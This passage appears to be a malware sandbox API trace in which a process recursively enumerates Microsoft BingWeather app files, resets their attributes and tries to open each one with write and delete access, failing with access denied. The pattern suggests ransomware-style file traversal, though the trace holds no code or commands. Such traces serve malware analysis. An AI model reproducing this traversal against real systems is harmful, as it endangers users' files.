	[0082.393] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.393] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.393] wcscat (in: _Dest=0x4e32c50, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.639] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.642] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.642] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.642] GetLastError () returned 0x5
	[0090.642] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.642] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.642] FindNextFileW (in: hFindFile=0x46a6950, lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0fdc78, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.642] FindClose (in: hFindFile=0x46a6950 | out: hFindFile=0x46a6950) returned 1
	[0090.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714dc0) returned 1
	[0090.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbe40) returned 1
	[0090.643] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fa60) returned 1

Thread:
	id = 958
	os_tid = 0xbdc

	[0082.394] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.394] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.394] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.394] GetLastError () returned 0x5
	[0082.394] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.394] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8b40) returned 1

Thread:
	id = 959
	os_tid = 0xe64

	[0082.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8da0
	[0082.397] wcscpy (in: _Dest=0x47c8da0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.397] wcscat (in: _Dest=0x47c8da0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.397] wcscat (in: _Dest=0x47c8da0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0082.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715028
	[0082.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4715028 | out: lpFindFileData=0x4715028*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa937267, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db7c876, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6990
	[0082.397] wcscmp (_String1=".", _String2=".") returned 0
	[0082.397] FindNextFileW (in: hFindFile=0x46a6990, lpFindFileData=0x4715028 | out: lpFindFileData=0x4715028*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa937267, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db7c876, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.397] wcscmp (_String1="..", _String2=".") returned 1
	[0082.397] wcscmp (_String1="..", _String2="..") returned 0
	[0082.397] FindNextFileW (in: hFindFile=0x46a6990, lpFindFileData=0x4715028 | out: lpFindFileData=0x4715028*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9d2e10, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d827806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 1
	[0082.397] wcscmp (_String1="AppTiles", _String2=".") returned 1
	[0082.398] wcscmp (_String1="AppTiles", _String2="..") returned 1
	[0082.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cb8c8
	[0082.398] wcscpy (in: _Dest=0x47cb8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.398] wcscat (in: _Dest=0x47cb8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.398] wcscat (in: _Dest=0x47cb8c8, _Source="AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0090.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718280
	[0090.638] wcscpy (in: _Dest=0x4718280, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0090.638] wcscat (in: _Dest=0x4718280, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0090.638] wcscat (in: _Dest=0x4718280, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\*"
	[0090.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0090.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9d2e10, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d827806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.640] wcscmp (_String1=".", _String2=".") returned 0
	[0090.640] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9d2e10, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d827806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.640] wcscmp (_String1="..", _String2=".") returned 1
	[0090.640] wcscmp (_String1="..", _String2="..") returned 0
	[0090.640] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa1d3b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0090.640] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0090.640] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0090.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32e20
	[0090.640] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0090.640] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0090.640] wcscat (in: _Dest=0x4e32e20, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d358
	[0090.640] wcscpy (in: _Dest=0x491d358, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.640] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.641] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\*"
	[0090.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa1d3b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0090.643] wcscmp (_String1=".", _String2=".") returned 0
	[0090.643] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa1d3b9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d2c78be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.643] wcscmp (_String1="..", _String2=".") returned 1
	[0090.643] wcscmp (_String1="..", _String2="..") returned 0
	[0090.643] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1bc83f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1bc83f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_BadgeLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0090.643] wcscmp (_String1="Weather_BadgeLogo.scale-200.png", _String2=".") returned 1
	[0090.644] wcscmp (_String1="Weather_BadgeLogo.scale-200.png", _String2="..") returned 1
	[0090.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d5b2a8
	[0090.644] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.644] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.644] wcscat (in: _Dest=0x2d5b2a8, _Source="Weather_BadgeLogo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png"
	[0090.644] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_badgelogo.scale-200.png")) returned 0x20
	[0090.647] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.647] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_badgelogo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.647] GetLastError () returned 0x5
	[0090.647] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_BadgeLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.647] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1e2a9d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1e2a9d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1e2a9d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.scale-200.png", cAlternateFileName="")) returned 1
	[0090.647] wcscmp (_String1="Weather_LogoSmall.scale-200.png", _String2=".") returned 1
	[0090.647] wcscmp (_String1="Weather_LogoSmall.scale-200.png", _String2="..") returned 1
	[0090.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d5b2a8
	[0090.647] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.647] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.647] wcscat (in: _Dest=0x2d5b2a8, _Source="Weather_LogoSmall.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png"
	[0090.647] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.scale-200.png")) returned 0x20
	[0090.652] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.652] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.652] GetLastError () returned 0x5
	[0090.652] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.652] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1e2a9d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d1e2a9d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d1e2a9d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.652] wcscmp (_String1="Weather_LogoSmall.targetsize-16.png", _String2=".") returned 1
	[0090.652] wcscmp (_String1="Weather_LogoSmall.targetsize-16.png", _String2="..") returned 1
	[0090.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.652] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0090.652] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\"
	[0090.652] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png"
	[0090.652] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-16.png")) returned 0x20
	[0090.655] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-16.png", dwFileAttributes=0x20) returned 0
